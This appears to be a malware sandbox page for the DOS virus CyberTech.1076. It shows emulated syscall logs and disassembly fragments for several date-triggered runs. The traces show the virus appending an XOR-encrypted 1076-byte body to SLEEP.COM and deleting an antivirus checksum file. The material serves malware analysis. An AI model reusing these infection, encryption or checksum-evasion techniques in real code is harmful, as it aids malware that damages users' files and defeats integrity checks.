Sample viewer

vx.netlux.org/Virus.DOS.CyberTech.1076

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:54:48.102172482Z 48 PC: 12a98 | Get DOS version
2018-12-17T22:54:48.117173904Z 54 PC: 12aa6 | Get free disk space
2018-12-17T22:54:48.126655276Z 42 PC: 12ab2 | Get date 0x12ab2: cmp cx, 0x7c9
0x12ab6: jae 0x12abb
0x12ab8: jmp 0x12b4c
0x12abb: push cs
0x12abc: pop ds
0x12abd: mov ah, 9
0x12abf: lea dx, word ptr [bp + 0x274]
0x12ac3: int 0x21
0x12ac5: mov ah, 0x1a
0x12ac7: mov dx, 0xfd00
0x12aca: int 0x21
0x12acc: mov ax, word ptr cs:[0x2c]
0x12ad0: mov ds, ax
0x12ad2: mov si, 0
0x12ad5: mov cx, 0x4000
0x12ad8: lodsb al, byte ptr [si]
0x12ad9: cmp al, 1
0x12adb: je 0x12adf
0x12add: loop 0x12ad8
0x12adf: inc si
2018-12-17T22:54:48.129112964Z 9 PC: 12ac5 | Display string (Could not find end pointer)
2018-12-17T22:54:48.150904118Z 26 PC: 12acc | Set disk transfer address
2018-12-17T22:54:48.157289599Z 67 PC: 12afc | Get or set file attributes
2018-12-17T22:54:48.163003714Z 67 PC: 12b09 | Get or set file attributes
2018-12-17T22:54:48.178506162Z 61 PC: 12b0e | Open file (Filename = 'A:\TEST.COM')
2018-12-17T22:54:48.1853363Z 87 PC: 12b15 | Get or set file date and time
2018-12-17T22:54:48.191944485Z 62 PC: 12b1b | Close file
2018-12-17T22:54:48.195765511Z 60 PC: 12b24 | Create or truncate file
2018-12-17T22:54:48.22056193Z 64 PC: 12b33 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:54:48.226937781Z 87 PC: 12b3a | Get or set file date and time
2018-12-17T22:54:48.229393496Z 62 PC: 12b3e | Close file
2018-12-17T22:54:48.24319626Z 67 PC: 12b47 | Get or set file attributes
2018-12-17T22:54:48.262619412Z 26 PC: 12c77 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":11679,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:31:09.504382562Z 48 PC: 12a98 | Get DOS version
2018-12-25T12:31:09.505881708Z 54 PC: 12aa6 | Get free disk space
2018-12-25T12:31:09.51531696Z 42 PC: 12ab2 | Get date 0x12ab2: cmp cx, 0x7c9
0x12ab6: jae 0x12abb
0x12ab8: jmp 0x12b4c
0x12abb: push cs
0x12abc: pop ds
0x12abd: mov ah, 9
0x12abf: lea dx, word ptr [bp + 0x274]
0x12ac3: int 0x21
0x12ac5: mov ah, 0x1a
0x12ac7: mov dx, 0xfd00
0x12aca: int 0x21
0x12acc: mov ax, word ptr cs:[0x2c]
0x12ad0: mov ds, ax
0x12ad2: mov si, 0
0x12ad5: mov cx, 0x4000
0x12ad8: lodsb al, byte ptr [si]
0x12ad9: cmp al, 1
0x12adb: je 0x12adf
0x12add: loop 0x12ad8
0x12adf: inc si
2018-12-25T12:31:09.517302885Z 26 PC: 12b53 | Set disk transfer address
2018-12-25T12:31:09.519063775Z 78 PC: 12b5d | Find first file
2018-12-25T12:31:09.524875313Z 67 PC: 12b6a | Get or set file attributes
2018-12-25T12:31:09.530198108Z 67 PC: 12b72 | Get or set file attributes
2018-12-25T12:31:10.246600848Z 61 PC: 12b77 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:31:10.260074343Z 87 PC: 12b7d | Get or set file date and time
2018-12-25T12:31:10.261022064Z 63 PC: 12b8a | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:31:10.266451456Z 66 PC: 12bb0 | Move file pointer
2018-12-25T12:31:10.267570336Z 66 PC: 12bd1 | Move file pointer
2018-12-25T12:31:10.268675446Z 63 PC: 12bdb | Read file or device (Read 52 bytes on handle 5)
2018-12-25T12:31:10.271287233Z 66 PC: 12bb0 | Move file pointer (See above)
2018-12-25T12:31:10.272755887Z 44 PC: 12c28 | Get time 0x12c28: cmp dl, 0
0x12c2b: jne 0x12c37
0x12c2d: mov ah, 9
0x12c2f: lea dx, word ptr [bp + 0x3d9]
0x12c33: int 0x21
0x12c35: jmp 0x12c24
0x12c37: mov byte ptr cs:[bp + 0x17], dl
0x12c3b: lea si, word ptr [bp + 4]
0x12c3e: mov di, 0xfb00
0x12c41: mov cx, 0x17
0x12c44: rep movsb byte ptr es:[di], byte ptr [si]
0x12c46: lea si, word ptr [bp + 0x1b]
0x12c49: mov cx, 0x41d
0x12c4c: lodsb al, byte ptr [si]
0x12c4d: xor al, dl
0x12c4f: stosb byte ptr es:[di], al
0x12c50: loop 0x12c4c
0x12c52: mov ah, 0x40
0x12c54: mov dx, 0xfb00
0x12c57: mov cx, 0x434
2018-12-25T12:31:10.274860142Z 64 PC: 12c5c | Write file or device (Write 1076 bytes on handle 5)
2018-12-25T12:31:10.298110527Z 66 PC: 12bb0 | Move file pointer (See above)
2018-12-25T12:31:10.299623498Z 64 PC: 12c6d | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:31:10.305849359Z 87 PC: 12c9d | Get or set file date and time
2018-12-25T12:31:10.307283047Z 62 PC: 12ca1 | Close file
2018-12-25T12:31:10.342819678Z 67 PC: 12caa | Get or set file attributes
2018-12-25T12:31:10.347568863Z 65 PC: 12cb2 | Delete file (Filename = 'chklist.cps')
2018-12-25T12:31:10.354087385Z 26 PC: 12c77 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1994,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":11679,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:31:09.70456487Z 48 PC: 12a98 | Get DOS version
2018-12-25T12:31:09.70564674Z 54 PC: 12aa6 | Get free disk space
2018-12-25T12:31:09.7137513Z 42 PC: 12ab2 | Get date 0x12ab2: cmp cx, 0x7c9
0x12ab6: jae 0x12abb
0x12ab8: jmp 0x12b4c
0x12abb: push cs
0x12abc: pop ds
0x12abd: mov ah, 9
0x12abf: lea dx, word ptr [bp + 0x274]
0x12ac3: int 0x21
0x12ac5: mov ah, 0x1a
0x12ac7: mov dx, 0xfd00
0x12aca: int 0x21
0x12acc: mov ax, word ptr cs:[0x2c]
0x12ad0: mov ds, ax
0x12ad2: mov si, 0
0x12ad5: mov cx, 0x4000
0x12ad8: lodsb al, byte ptr [si]
0x12ad9: cmp al, 1
0x12adb: je 0x12adf
0x12add: loop 0x12ad8
0x12adf: inc si
2018-12-25T12:31:09.715725828Z 9 PC: 12ac5 | Display string (Could not find end pointer)
2018-12-25T12:31:09.735307898Z 26 PC: 12acc | Set disk transfer address
2018-12-25T12:31:09.736612494Z 67 PC: 12afc | Get or set file attributes
2018-12-25T12:31:09.74219024Z 67 PC: 12b09 | Get or set file attributes
2018-12-25T12:31:10.971363855Z 61 PC: 12b0e | Open file (Filename = 'A:\TEST.COM')
2018-12-25T12:31:10.978736329Z 87 PC: 12b15 | Get or set file date and time
2018-12-25T12:31:10.979981544Z 62 PC: 12b1b | Close file
2018-12-25T12:31:10.982283725Z 60 PC: 12b24 | Create or truncate file
2018-12-25T12:31:11.08845443Z 64 PC: 12b33 | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:31:11.092288242Z 87 PC: 12b3a | Get or set file date and time
2018-12-25T12:31:11.094100912Z 62 PC: 12b3e | Close file
2018-12-25T12:31:11.16115811Z 67 PC: 12b47 | Get or set file attributes
2018-12-25T12:31:11.235159304Z 26 PC: 12c77 | Set disk transfer address